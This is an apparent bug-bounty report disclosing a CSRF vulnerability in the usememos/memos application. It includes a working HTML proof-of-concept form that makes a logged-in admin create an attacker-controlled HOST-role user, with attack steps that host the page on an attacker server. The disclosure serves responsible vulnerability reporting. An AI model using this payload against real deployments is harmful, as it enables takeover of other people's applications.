CSRF allows attacker trigger admin add HOST user lead to takeover memos application in usememos/memos
Valid
Reported on
Dec 29th 2022
Description
This vuln allow attacker trigger admin submitting a malicious request to create new user with any role.
Proof of Concept
- Attacker create malicious script with csrf payload and upload it to attacker server httpx://attacker.server/csrf.html
- Attacker send this link to memos admin
- Memos admin click this link and trigger csrf attack, a user with HOST role under attacker control will be create POC video: https://drive.google.com/file/d/1vUobMDZ3rzdbj-UfLU6-qiZD9ILqXDzK/view?usp=sharing POC payload
//CSRF.html
<html>
<!-- CSRF PoC to add HOST user into memos -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.memos.server/api/user" method="POST" enctype="text/plain">
<input type="hidden" name="{"username":"attackerhere","password":"123456","role":"HOST"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact
If amin trigger this attack concept, attacker can takeover memos application with HOST role
References
We are processing your report and will contact the
usememos/memos
team within 24 hours.
11 days ago
The researcher's credibility has increased: +7
to join this conversation